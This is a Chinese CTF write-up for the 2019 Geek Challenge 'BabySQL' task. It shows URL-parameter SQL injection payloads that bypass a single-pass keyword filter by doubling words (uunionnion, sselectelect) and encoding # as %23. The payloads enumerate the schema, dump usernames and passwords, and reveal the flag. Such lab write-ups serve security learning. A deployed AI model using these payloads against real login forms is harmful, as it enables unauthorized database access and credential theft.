[极客大挑战 2019]BabySQL
  UmY4CJ2kVTVZ 4天前 15 0

启动靶机熟悉的界面

测试发现or被过滤且输入#号无法起到注释作用

猜测本靶机考点过滤查询关键词语句or,union,select,and,by和注释符#

测试后查询关键词发现过滤只是单次过滤 可以使用aandnd,oorr,uunionnion等绕过过滤

而#则可以用urlencode编码格式变成%23绕过,接下来我们进行常规构造语句绕过

报错说明有3个字段
?username=admin' aandnd 1=2 oorrder bbyy 4 %23&password=123

测得回显点位2,3 ?username=admin' aandnd 1=2 uunionnion sselectelect 1,2,3 %23&password=123

获得数据库名geek,版本10.3.18-MariaDB ?username=admin' aandnd 1=2 uunionnion sselectelect 1,database(),version() %23&password=123

获得表名b4bsql,geekuser

?username=admin' aandnd 1=2 uunionnion sselectelect 1, 2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema ='geek' %23&password=123


获得列名 id username password
?username=admin' aandnd 1=2 uunionnion sselectelect 1, 2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='geekuser' %23&password=123

查找flag

?username=admin' aandnd 1=2 uunionnion sselectelect 1, group_concat(username),group_concat(passwoorrd) ffromrom b4bsql%23&password=123

查看源码获得flag flag{bdc135ab-5320-46d6-b4f2-5d1231ead3a1}

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 4天前 0

暂无评论

推荐阅读
UmY4CJ2kVTVZ